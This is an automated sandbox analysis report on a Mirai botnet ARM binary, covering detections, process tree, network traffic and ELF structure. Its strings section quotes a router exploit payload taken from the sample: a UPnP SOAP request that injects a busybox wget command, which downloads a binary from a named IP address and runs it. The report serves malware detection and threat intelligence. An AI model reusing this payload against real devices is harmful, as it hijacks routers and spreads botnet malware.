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Linux Analysis Report
efea6.elf

Overview

General Information

Sample name:	efea6.elf
Analysis ID:	1631863
MD5:	8fbe9dd50189b8711cab7df7fea10a0c
SHA1:	75d3ca16bb70c2a450c2e06dc2968c9fa3543eef
SHA256:	11c0436f0741bb589a1498e00793e89c2b1736bda1d576c12eb07fb2bf916383
Tags:	elfMiraiuser-abuse_ch
Infos:

Detection

Mirai

Score:	72
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected Mirai

Executes the "rm" command used to delete files or directories

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1631863
Start date and time:	2025-03-07 16:46:27 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	efea6.elf
Detection:	MAL
Classification:	mal72.troj.linELF@0/0@2/0

Warnings

VT rate limit hit for: http://176.65.134.201/efefa7$

Runtime Messages

Command:	/tmp/efea6.elf
PID:	5543
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

efea6.elf (PID: 5543, Parent: 5462, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/efea6.elf

dash New Fork (PID: 5612, Parent: 3670)

rm (PID: 5612, Parent: 3670, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.b35GMOYRvs /tmp/tmp.6tze02S6S4 /tmp/tmp.lOnFvdKqfS

dash New Fork (PID: 5613, Parent: 3670)

cat (PID: 5613, Parent: 3670, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /tmp/tmp.b35GMOYRvs

dash New Fork (PID: 5614, Parent: 3670)

head (PID: 5614, Parent: 3670, MD5: fd96a67145172477dd57131396fc9608) Arguments: head -n 10

dash New Fork (PID: 5615, Parent: 3670)

tr (PID: 5615, Parent: 3670, MD5: fbd1402dd9f72d8ebfff00ce7c3a7bb5) Arguments: tr -d \\000-\\011\\013\\014\\016-\\037

dash New Fork (PID: 5616, Parent: 3670)

cut (PID: 5616, Parent: 3670, MD5: d8ed0ea8f22c0de0f8692d4d9f1759d3) Arguments: cut -c -80

dash New Fork (PID: 5617, Parent: 3670)

cat (PID: 5617, Parent: 3670, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /tmp/tmp.b35GMOYRvs

dash New Fork (PID: 5618, Parent: 3670)

head (PID: 5618, Parent: 3670, MD5: fd96a67145172477dd57131396fc9608) Arguments: head -n 10

dash New Fork (PID: 5619, Parent: 3670)

tr (PID: 5619, Parent: 3670, MD5: fbd1402dd9f72d8ebfff00ce7c3a7bb5) Arguments: tr -d \\000-\\011\\013\\014\\016-\\037

dash New Fork (PID: 5620, Parent: 3670)

cut (PID: 5620, Parent: 3670, MD5: d8ed0ea8f22c0de0f8692d4d9f1759d3) Arguments: cut -c -80

dash New Fork (PID: 5621, Parent: 3670)

rm (PID: 5621, Parent: 3670, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.b35GMOYRvs /tmp/tmp.6tze02S6S4 /tmp/tmp.lOnFvdKqfS

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
efea6.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
efea6.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
5543.1.00007f122c017000.00007f122c03d000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5543.1.00007f122c017000.00007f122c03d000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: efea6.elf PID: 5543	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

• AV Detection
• Compliance
• Networking
• System Summary
• Persistence and Installation Behavior
• Malware Analysis System Evasion
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: efea6.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: efea6.elf	Virustotal: Detection: 36%			Perma Link
Source: efea6.elf	ReversingLabs: Detection: 50%

Source: unknown

HTTPS traffic detected: 54.217.10.153:443 -> 192.168.2.15:49566 version: TLS 1.2

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: efea6.elf	String found in binary or memory: http://176.65.134.201/efefa7$
Source: efea6.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: efea6.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 49566 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49566

Source: unknown

HTTPS traffic detected: 54.217.10.153:443 -> 192.168.2.15:49566 version: TLS 1.2

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 176.65.134.201 -l /tmp/efefa7 -r /jfeeps; /bin/busybox chmod 777 /tmp/efefa7; /tmp/efefa7 huawei.slfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 176.65.134.201 -l /tmp/efefa7 -r /jfeeps; /bin/busybox chmod 777 /tmp/efefa7; /tmp/efefa7 huawei.slfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: sys_monitor_cnrbusyboxadbddockerdBlink_Cloudsystemdhttpshsshdbashmsg_centerlte_mgrmain_mgrpkarm7pkarm5pkarmpkarm6pkmipspkmpslpkx86/tmp/var/mnt/root/boot/sbin/home/dev/media/opt/../(deleted)x86armmipsmpslsh4arm5arm6%s/%s/data/local/tmp/bin/dev/null/dev/console/var/lib/dockerraw.awaken-network.netabcdefghijklmnopqrstuvwxyz/proc/%d/cmdline/proc/%d/proc/selfhttpd/proc/self/exe/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/sbin/poweroff/usr/bin/poweroff/usr/sbin/halt/usr/bin/halt

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal72.troj.linELF@0/0@2/0

Source: /usr/bin/dash (PID: 5612)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.b35GMOYRvs /tmp/tmp.6tze02S6S4 /tmp/tmp.lOnFvdKqfS			Jump to behavior
Source: /usr/bin/dash (PID: 5621)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.b35GMOYRvs /tmp/tmp.6tze02S6S4 /tmp/tmp.lOnFvdKqfS			Jump to behavior

Source: /tmp/efea6.elf (PID: 5543)

Queries kernel information via 'uname':

Jump to behavior

Source: efea6.elf, 5543.1.00007ffd467bd000.00007ffd467de000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/efea6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/efea6.elf
Source: efea6.elf, 5543.1.00005606d5e09000.00005606d5f37000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: efea6.elf, 5543.1.00007ffd467bd000.00007ffd467de000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: efea6.elf, 5543.1.00005606d5e09000.00005606d5f37000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/arm
Source: efea6.elf, 5543.1.00007ffd467bd000.00007ffd467de000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: efea6.elf, type: SAMPLE
Source: Yara match	File source: 5543.1.00007f122c017000.00007f122c03d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: efea6.elf PID: 5543, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: efea6.elf, type: SAMPLE
Source: Yara match	File source: 5543.1.00007f122c017000.00007f122c03d000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: efea6.elf PID: 5543, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 File Deletion	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

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Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
efea6.elf	37%	Virustotal		Browse
efea6.elf	50%	ReversingLabs	Linux.Trojan.Mirai
efea6.elf	100%	Avira	EXP/ELF.Mirai.Hua.c

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://schemas.xmlsoap.org/soap/encoding/	efea6.elf	false	high
http://176.65.134.201/efefa7$	efea6.elf	false	unknown
http://schemas.xmlsoap.org/soap/envelope/	efea6.elf	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
54.217.10.153	unknown	United States		16509	AMAZON-02US	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
54.217.10.153	tftp.elf	Get hash	malicious	Unknown	Browse
	arm6.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	nshkarm6.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	sh4.elf	Get hash	malicious	Mirai	Browse
	arm6.elf	Get hash	malicious	Mirai	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	spc.elf	Get hash	malicious	Mirai, Moobot	Browse
	a-r.m-6.Sakura.elf	Get hash	malicious	Gafgyt, Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	rrrdsl.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.25
	blah.arm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	uYtea.arm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	uYtea.arm5.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	splarm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	sshd.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	rxXY3Imb6q.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	nabarm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	arm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	sshd.elf	Get hash	malicious	Unknown	Browse	162.213.35.24

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	efefa7.elf	Get hash	malicious	Mirai	Browse	54.107.46.225
	xtQdwMwu86.exe	Get hash	malicious	FormBook	Browse	54.179.173.60
	mF8WNclxnv.exe	Get hash	malicious	FormBook, GuLoader	Browse	13.248.169.48
	lightijak2.1.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	CP07E1clp1.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	PayeeRemittanceNotice_ GQUMJOTASN.eml	Get hash	malicious	Unknown	Browse	35.161.148.179
	CjbMEPJZ3J.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	5r3fqt67ew531has4231.arm.elf	Get hash	malicious	Mirai, Okiru	Browse	54.239.141.125
	2Stejb80vJ.exe	Get hash	malicious	FormBook	Browse	13.248.169.48
	1x165rHRi9.exe	Get hash	malicious	FormBook	Browse	13.248.169.48

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.616829621326797
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	efea6.elf
File size:	170'972 bytes
MD5:	8fbe9dd50189b8711cab7df7fea10a0c
SHA1:	75d3ca16bb70c2a450c2e06dc2968c9fa3543eef
SHA256:	11c0436f0741bb589a1498e00793e89c2b1736bda1d576c12eb07fb2bf916383
SHA512:	2cc9e99ebfc7d49b767fbd48e7379b9b01584eea902112d7fb0ffaae96828fd8e430bcb2056540feffcff1805a11bf1f9eae8819d308708a44996d531dfedeb3
SSDEEP:	3072:Cw7hpny+SZBAxlayX9DIZ9N/a0fuKRNy2X2k+cJyYPqPUj:Cw7vybSx1XpIZr/aQR5X2wyYPqcj
TLSH:	F8F30946F8819B16D5D611BAFE1E028E33131B7CE3DE72129D246F247B8A86F0E3B515
File Content Preview:	.ELF..............(.....T...4...........4. ...(.....................8P..8P..............<P..<P..8P...I..............Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../.X.......8P....-.@0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8154
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	170452
Section Header Size:	40
Number of Section Headers:	13
Header String Table Index:	12

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x10	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0x20d40	0x0	0x6	AX	16
.fini	PROGBITS	0x28df0	0x20df0	0x10	0x0	0x6	AX	4
.rodata	PROGBITS	0x28e00	0x20e00	0x4238	0x0	0x2	A	8
.init_array	INIT_ARRAY	0x3503c	0x25040	0x8	0x0	0x3	WA	4
.fini_array	FINI_ARRAY	0x35044	0x25048	0x4	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x3504c	0x25050	0x78	0x0	0x3	WA	4
.got	PROGBITS	0x350c4	0x250c8	0x11c	0x4	0x3	WA	4
.data	PROGBITS	0x351e0	0x251e4	0x4774	0x0	0x3	WA	32
.bss	NOBITS	0x39958	0x29958	0xc97c	0x0	0x3	WA	8
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x29958	0x10	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x29968	0x6a	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x25038	0x25038	6.0129	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x2503c	0x3503c	0x35038	0x491c	0x11298	0.6154	0x6	RW	0x8000	.init_array .fini_array .data.rel.ro .got .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 13
• 443 (HTTPS)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 7, 2025 16:47:28.599293947 CET	443	49566	54.217.10.153	192.168.2.15
Mar 7, 2025 16:47:28.599350929 CET	443	49566	54.217.10.153	192.168.2.15
Mar 7, 2025 16:47:28.599369049 CET	443	49566	54.217.10.153	192.168.2.15
Mar 7, 2025 16:47:28.599394083 CET	443	49566	54.217.10.153	192.168.2.15
Mar 7, 2025 16:47:28.599674940 CET	49566	443	192.168.2.15	54.217.10.153
Mar 7, 2025 16:47:28.599720001 CET	49566	443	192.168.2.15	54.217.10.153
Mar 7, 2025 16:47:28.599720001 CET	49566	443	192.168.2.15	54.217.10.153
Mar 7, 2025 16:47:28.601938009 CET	49566	443	192.168.2.15	54.217.10.153
Mar 7, 2025 16:47:28.607023001 CET	443	49566	54.217.10.153	192.168.2.15
Mar 7, 2025 16:47:28.857585907 CET	443	49566	54.217.10.153	192.168.2.15
Mar 7, 2025 16:47:28.857707977 CET	49566	443	192.168.2.15	54.217.10.153
Mar 7, 2025 16:47:28.857974052 CET	49566	443	192.168.2.15	54.217.10.153
Mar 7, 2025 16:47:29.068097115 CET	49566	443	192.168.2.15	54.217.10.153
Mar 7, 2025 16:47:29.077161074 CET	443	49566	54.217.10.153	192.168.2.15
Mar 7, 2025 16:47:29.077224016 CET	49566	443	192.168.2.15	54.217.10.153
Mar 7, 2025 16:47:29.078569889 CET	443	49566	54.217.10.153	192.168.2.15
Mar 7, 2025 16:47:29.083123922 CET	443	49566	54.217.10.153	192.168.2.15
Mar 7, 2025 16:47:31.320116043 CET	443	49566	54.217.10.153	192.168.2.15
Mar 7, 2025 16:47:31.320410013 CET	49566	443	192.168.2.15	54.217.10.153
Mar 7, 2025 16:47:31.321393967 CET	49566	443	192.168.2.15	54.217.10.153
Mar 7, 2025 16:47:31.327318907 CET	443	49566	54.217.10.153	192.168.2.15
Mar 7, 2025 16:47:31.327362061 CET	49566	443	192.168.2.15	54.217.10.153

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 7, 2025 16:47:10.392385960 CET	43068	53	192.168.2.15	1.1.1.1
Mar 7, 2025 16:47:10.392501116 CET	60830	53	192.168.2.15	1.1.1.1
Mar 7, 2025 16:47:10.399854898 CET	53	60830	1.1.1.1	192.168.2.15
Mar 7, 2025 16:47:10.399965048 CET	53	43068	1.1.1.1	192.168.2.15

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 7, 2025 16:47:10.392385960 CET	192.168.2.15	1.1.1.1	0x9293	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Mar 7, 2025 16:47:10.392501116 CET	192.168.2.15	1.1.1.1	0x1201	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 7, 2025 16:47:10.399965048 CET	1.1.1.1	192.168.2.15	0x9293	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false
Mar 7, 2025 16:47:10.399965048 CET	1.1.1.1	192.168.2.15	0x9293	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false

HTTPS Connections

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Mar 7, 2025 16:47:28.599369049 CET	54.217.10.153	443	192.168.2.15	49566	CN=motd.ubuntu.com CN=R11, O=Let's Encrypt, C=US	CN=R11, O=Let's Encrypt, C=US CN=ISRG Root X1, O=Internet Security Research Group, C=US	Sun Jan 05 09:21:36 CET 2025 Wed Mar 13 01:00:00 CET 2024	Sat Apr 05 10:21:35 CEST 2025 Sat Mar 13 00:59:59 CET 2027
Mar 7, 2025 16:47:28.599369049 CET	54.217.10.153	443	192.168.2.15	49566	CN=R11, O=Let's Encrypt, C=US	CN=ISRG Root X1, O=Internet Security Research Group, C=US	Wed Mar 13 01:00:00 CET 2024	Sat Mar 13 00:59:59 CET 2027

System Behavior

Analysis Process: efea6.elf PID: 5543, Parent PID: 5462

General

Start time (UTC):	15:47:08
Start date (UTC):	07/03/2025
Path:	/tmp/efea6.elf
Arguments:	/tmp/efea6.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

File Activities

File Opened

File Read

Process Activities

Signal Sent

Thread Sleep

System Activities

Query System Information (uname)

Chronological Activities

Analysis Process: dash PID: 5612, Parent PID: 3670

General

Start time (UTC):	15:47:30
Start date (UTC):	07/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: rm PID: 5612, Parent PID: 3670

General

Start time (UTC):	15:47:30
Start date (UTC):	07/03/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.b35GMOYRvs /tmp/tmp.6tze02S6S4 /tmp/tmp.lOnFvdKqfS
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

File Activities

File Opened

File Deleted

File Read

Chronological Activities

Analysis Process: dash PID: 5613, Parent PID: 3670

General

Start time (UTC):	15:47:30
Start date (UTC):	07/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: cat PID: 5613, Parent PID: 3670

General

Start time (UTC):	15:47:30
Start date (UTC):	07/03/2025
Path:	/usr/bin/cat
Arguments:	cat /tmp/tmp.b35GMOYRvs
File size:	43416 bytes
MD5 hash:	7e9d213e404ad3bb82e4ebb2e1f2c1b3

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: dash PID: 5614, Parent PID: 3670

General

Start time (UTC):	15:47:30
Start date (UTC):	07/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: head PID: 5614, Parent PID: 3670

General

Start time (UTC):	15:47:30
Start date (UTC):	07/03/2025
Path:	/usr/bin/head
Arguments:	head -n 10
File size:	47480 bytes
MD5 hash:	fd96a67145172477dd57131396fc9608

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: dash PID: 5615, Parent PID: 3670

General

Start time (UTC):	15:47:30
Start date (UTC):	07/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: tr PID: 5615, Parent PID: 3670

General

Start time (UTC):	15:47:30
Start date (UTC):	07/03/2025
Path:	/usr/bin/tr
Arguments:	tr -d \\000-\\011\\013\\014\\016-\\037
File size:	51544 bytes
MD5 hash:	fbd1402dd9f72d8ebfff00ce7c3a7bb5

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: dash PID: 5616, Parent PID: 3670

General

Start time (UTC):	15:47:30
Start date (UTC):	07/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: cut PID: 5616, Parent PID: 3670

General

Start time (UTC):	15:47:30
Start date (UTC):	07/03/2025
Path:	/usr/bin/cut
Arguments:	cut -c -80
File size:	47480 bytes
MD5 hash:	d8ed0ea8f22c0de0f8692d4d9f1759d3

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: dash PID: 5617, Parent PID: 3670

General

Start time (UTC):	15:47:30
Start date (UTC):	07/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: cat PID: 5617, Parent PID: 3670

General

Start time (UTC):	15:47:30
Start date (UTC):	07/03/2025
Path:	/usr/bin/cat
Arguments:	cat /tmp/tmp.b35GMOYRvs
File size:	43416 bytes
MD5 hash:	7e9d213e404ad3bb82e4ebb2e1f2c1b3

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: dash PID: 5618, Parent PID: 3670

General

Start time (UTC):	15:47:30
Start date (UTC):	07/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: head PID: 5618, Parent PID: 3670

General

Start time (UTC):	15:47:30
Start date (UTC):	07/03/2025
Path:	/usr/bin/head
Arguments:	head -n 10
File size:	47480 bytes
MD5 hash:	fd96a67145172477dd57131396fc9608

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: dash PID: 5619, Parent PID: 3670

General

Start time (UTC):	15:47:30
Start date (UTC):	07/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: tr PID: 5619, Parent PID: 3670

General

Start time (UTC):	15:47:30
Start date (UTC):	07/03/2025
Path:	/usr/bin/tr
Arguments:	tr -d \\000-\\011\\013\\014\\016-\\037
File size:	51544 bytes
MD5 hash:	fbd1402dd9f72d8ebfff00ce7c3a7bb5

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: dash PID: 5620, Parent PID: 3670

General

Start time (UTC):	15:47:30
Start date (UTC):	07/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: cut PID: 5620, Parent PID: 3670

General

Start time (UTC):	15:47:30
Start date (UTC):	07/03/2025
Path:	/usr/bin/cut
Arguments:	cut -c -80
File size:	47480 bytes
MD5 hash:	d8ed0ea8f22c0de0f8692d4d9f1759d3

File Activities

File Opened

File Read

Chronological Activities

Analysis Process: dash PID: 5621, Parent PID: 3670

General

Start time (UTC):	15:47:30
Start date (UTC):	07/03/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Process Activities

Process Overlayed (Exec)

Chronological Activities

Analysis Process: rm PID: 5621, Parent PID: 3670

General

Start time (UTC):	15:47:30
Start date (UTC):	07/03/2025
Path:	/usr/bin/rm
